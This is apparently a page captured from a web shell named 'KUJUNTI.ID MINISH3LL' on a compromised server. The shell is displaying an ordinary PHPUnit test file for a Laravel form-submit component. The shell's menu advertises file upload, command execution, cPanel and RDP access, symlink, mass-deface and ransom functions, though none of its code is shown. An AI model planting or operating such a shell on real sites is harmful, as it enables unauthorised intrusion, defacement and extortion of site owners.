KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/vendor/cagilo/cagilo/tests/Compotents/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/vendor/cagilo/cagilo/tests/Compotents/SubmitTest.php


<?php

declare(strict_types=1);

namespace Cagilo\UI\Tests\Compotents;

use Cagilo\UI\Tests\ComponentTestCase;
use Illuminate\Support\Facades\Route;

class SubmitTest extends ComponentTestCase
{
    public function testRenderComponent(): void
    {
        Route::post('logout', fn () => '')->name('logout');
        $this->setUpApplicationRoutes();

        $this
            ->blade('<x-submit action="subscribe"/>')
            ->assertSee('Submit')
            ->assertStringContains('<form method="POST" action="subscribe"')
            ->assertStringContains('<input type="hidden" name="_token" value="">')
            ->assertStringContains('type="submit');
    }

    public function testRenderWithAttributes(): void
    {
        $this
            ->blade('<x-submit action="http://example.com" class="text-muted">Sign Out</x-submit>')
            ->assertSee('Sign Out')
            ->assertStringContains('<form method="POST" action="http://example.com"')
            ->assertStringContains('<input type="hidden" name="_token" value="">')
            ->assertStringContains('type="submit" class="text-muted">');
    }

    public function testRenderWithFormIdAttributes(): void
    {
        $this
            ->blade('<x-submit action="http://example.com" formId="sign-out">Sign Out</x-submit>')
            ->assertSee('Sign Out')
            ->assertStringContains('id="sign-out"')
            ->assertStringContains('<button form="sign-out"');
    }

    public function testRenderWithRouteNameComponent(): void
    {
        Route::post('subscribe', fn () => '')->name('subscribe');
        $this->setUpApplicationRoutes();

        $this
            ->blade('<x-submit action="subscribe"/>')
            ->assertStringContains('<form method="POST" action="http://localhost/subscribe"');
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support